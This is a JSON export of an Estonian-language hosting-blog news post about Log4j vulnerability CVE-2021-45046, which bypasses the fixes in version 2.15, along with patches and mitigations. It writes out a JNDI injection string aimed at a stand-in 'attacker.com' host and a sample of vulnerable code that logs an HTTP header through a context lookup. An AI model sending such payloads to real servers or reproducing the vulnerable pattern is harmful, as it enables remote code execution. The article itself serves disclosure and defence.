{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Uus Log4j 2 r\u00fcnnakute variant, mis v\u00f5imaldab l\u00e4bida lisatud kaitse","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Log4j 2 teostus JNDI asenduste osas on avastatud veel \u00fcks haavatavus (CVE-2021-45046), mis ilmneb hoolimata versiooni 2.15 v\u00e4ljaandmisel tehtud parandustest ja olenemata parameetri 'log4j2.noFormatMsgLookup' kasutamisest kaitseks. Probleem kujutab ohtu peamiselt Log4j 2 vanemate versioonide jaoks, mis on kaitstud 'noFormatMsgLookup' lipuga, kuna see v\u00f5imaldab k\u00f5rvale arvata eelnevat turvaviga (Log4Shell, CVE-2021-44228), mis v\u00f5imaldab k\u00e4itada oma koodi serveris. Versiooni 2.15 kasutajatel piirdub ekspluateerimine rakenduse kokkuv\u00f5tmise tingimuste loomisega, mis tuleneb saadaval olevate ressursside l\u00f5ppemisest. <\/p>\n

Haavatavus avaldub vaid s\u00fcsteemides, kus logimist teostatakse kontekstip\u00e4ringute (Context Lookup) abil, nagu ${ctx:loginId} v\u00f5i MDC-mallid (Thread Context Map), n\u00e4iteks %X, %mdc ja %MDC. Ekspluateerimine piirdub tingimuste loomisega, et logisse saaks kirjutada andmeid, mis sisaldavad JNDI asendusi, kui rakenduses kasutatakse kontekstip\u00e4ringuid v\u00f5i MDC-malle, mis m\u00e4\u00e4ravad logisse kirjutamise vormindamise reeglid. <\/p>\n

LunaSeci teadlased on m\u00e4rkinud, et Log4j versioonide puhul alla 2.15 v\u00f5ib seda haavatavust kasutada uue r\u00fcnnaku Log4Shell vektorina, mis viib koodi k\u00e4itamisele, kui logimist ootuses kasutatakse ThreadContext'i v\u00e4ljendeid, kuhu satuvad v\u00e4lised andmed, olenemata sellest, kas kaitseks on lubatud 'noMsgFormatLookups' lipp v\u00f5i mall '%m{nolookups}'.

\"Uus<\/center> <\/p>\n

Kaitse \u00fcmbers\u00f5it seisneb selles, et otse asendamise asemel '${jndi:ldap:\/\/attacker.com\/a}' asendatakse see v\u00e4ljendi kaudu, mida kasutatakse logimise vormindamise reeglites. N\u00e4iteks, kui logimist ootuses kasutatakse konteksti p\u00e4ringu ${ctx:apiversion}, v\u00f5ib r\u00fcnnak toimuda andmete '${jndi:ldap:\/\/attacker.com\/a}' asendamise kaudu muutuja apiversion v\u00e4\u00e4rtuses. N\u00e4ide haavatavast koodist: appender.console.layout.pattern = ${ctx:apiversion} \u2014 %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L \u2014 %m%n @GetMapping('\/' ) public String index(@RequestHeader('X-Api-Version') String apiVersion) { \/\/ HTTP-pealkirja 'X-Api-Version' v\u00e4\u00e4rtus edastatakse ThreadContext'ile ThreadContext.put('apiversion', apiVersion); \/\/ Logimise ootuses t\u00f6\u00f6deldakse v\u00e4lisv\u00e4\u00e4rtust apiversion asendusega ${ctx:apiversion} logger.info('Saadi p\u00e4ring API versiooni kohta'); return 'Tere, maailm!'; } <\/p>\n

Log4j 2.15 versioonis saab haavatavust kasutada DoS-r\u00fcnnakute teostamiseks, kui ThreadContext'i edastatakse v\u00e4\u00e4rtusi, mis p\u00f5hjustavad vormindamisvormingus ts\u00fckli.

\"Uus<\/center> <\/p>\n

Haavatuse t\u00f5kestamiseks on v\u00e4lja antud uuendused 2.16 ja 2.12.2. Log4j harus 2.16 on lisaks versioonis 2.15 rakendatud parandustele ja JNDI LDAP-p\u00e4ringute seondumisele «localhost» t\u00e4ielikult vaikimisi JNDI funktsionaalsus keelatud ning s\u00f5numite asendamismallide tugi eemaldatud. Kaitse ringtee lahendusena on soovitatud eemaldada klass JndiLookup classpath'ist (n\u00e4iteks «zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class»). <\/p>\n

Paranduste ilmumise j\u00e4lgimiseks pakettides on v\u00f5imalik k\u00fclastada jaotiste lehti (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 «log4j2.noFormatMsgLookup» \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Log4j 2, \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0444\u043b\u0430\u0433\u0430 «noFormatMsgLookup», \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (Log4Shell, CVE-2021-44228), […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102619","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Uus r\u00fcnnaku variant Log4j 2-le, mis v\u00f5imaldab lisatud kaitset \u00fcmbers\u00f5ita | ProHoster","description":"Log4j 2 teostustes tuvastati veel \u00fcks haavatavus JNDI asenduste s\u00fcsteemis (CVE-2021-45046), mis ilmneb vaatamata 2.15 v\u00e4ljaandes tehtud parandustele ja olenemata seadistuse kasutamisest.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 Log4j 2, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 | ProHoster","og:description":"\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438.","og:url":"https:\/\/prohoster.info\/et\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-12-15T07:36:55+00:00","article:modified_time":"2021-12-15T07:36:55+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102619","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-12-15 07:37:04","updated":"2022-09-29 16:05:40","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/102619","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=102619"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/102619\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media\/102620"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=102619"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=102619"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=102619"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}